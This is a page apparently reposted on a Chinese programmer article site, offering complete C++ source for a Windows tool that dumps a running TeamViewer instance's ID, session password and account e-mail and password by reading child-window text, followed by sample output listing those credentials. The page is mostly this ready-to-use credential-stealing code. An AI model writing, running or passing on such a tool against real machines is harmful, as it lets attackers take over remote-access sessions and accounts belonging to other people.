获取运行中的TeamViewer的账号和密码
程序员文章站
2022-04-07 09:56:18
Dumps TeamViewer ID,Password and account settings from a running TeamViewer instance by en...
Dumps TeamViewer ID,Password and account settings from a running TeamViewer instance by enumerating child windows.
#define WIN32_LEAN_AND_MEAN #include <windows.h> #include <iostream> #pragma comment( lib, "kernel32" ) #pragma comment( lib, "user32" ) int status = 0; BOOL CALLBACK EnumMainTVWindow(HWND hwnd, LPARAM lParam) { const int BufferSize = 1024; char BufferContent[BufferSize] = ""; SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent); if (status == 1) { printf("%s\n", BufferContent); status = 0; } if (strstr(BufferContent, "Allow Remote Control") != NULL) { status = 1; printf("TeamViewer ID: "); } if (strstr(BufferContent, "Please tell your partner") != NULL) { status = 1; printf("TeamViewer PASS: "); } return 1; } BOOL CALLBACK EnumAccountWindow(HWND hwnd, LPARAM lParam) { const int BufferSize = 1024; char BufferContent[BufferSize] = ""; SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent); if (status == 1) { printf("%s\n", BufferContent); status = 0; } if (strstr(BufferContent, "E-mail") != NULL) { status = 1; printf("E-mail: "); } if (strstr(BufferContent, "Password") != NULL) { status = 1; printf("Password: "); } return 1; } int main() { HWND hwndTeamViewer = FindWindow(NULL, "TeamViewer"); if (hwndTeamViewer) { EnumChildWindows(hwndTeamViewer, EnumMainTVWindow, 0); } HWND hwndAccount = FindWindow(NULL, "Computers & Contacts"); if (hwndAccount) { EnumChildWindows(hwndAccount, EnumAccountWindow, 0); } return 0; }
C:\tools\Projects>TeamViewer_Dump.exe TeamViewer ID: 606 151 261 TeamViewer PASS: 3239 E-mail: hacked@account.com Password: FooPassword123 C:\tools\Projects>
下一篇: tomcat安全配置之证书密码加密存储
推荐阅读
-
在Python中获取两数相除的商和余数方法
-
Python中动态获取对象的属性和方法的教程
-
python 动态获取当前运行的类名和函数名的方法
-
社交电商运营中,如何获取更多的流量和销量:分润机制最关键
-
微信小程序授权 获取用户的openid和session_key【后端使用java语言编写】,我写的是get方式,目的是测试能否获取到微信服务器中的数据,后期我会写上post请求方式。
-
WordPress的主题编写中获取头部模板和底部模板
-
在Window中Oracle中修改用户名和密码的操作方法
-
Winform中设置和获取DevExpress的RadioGroup的选中项的value值
-
WordPress中获取页面链接和标题的相关PHP函数用法解析
-
php中存储用户ID和密码到mysql数据库的方法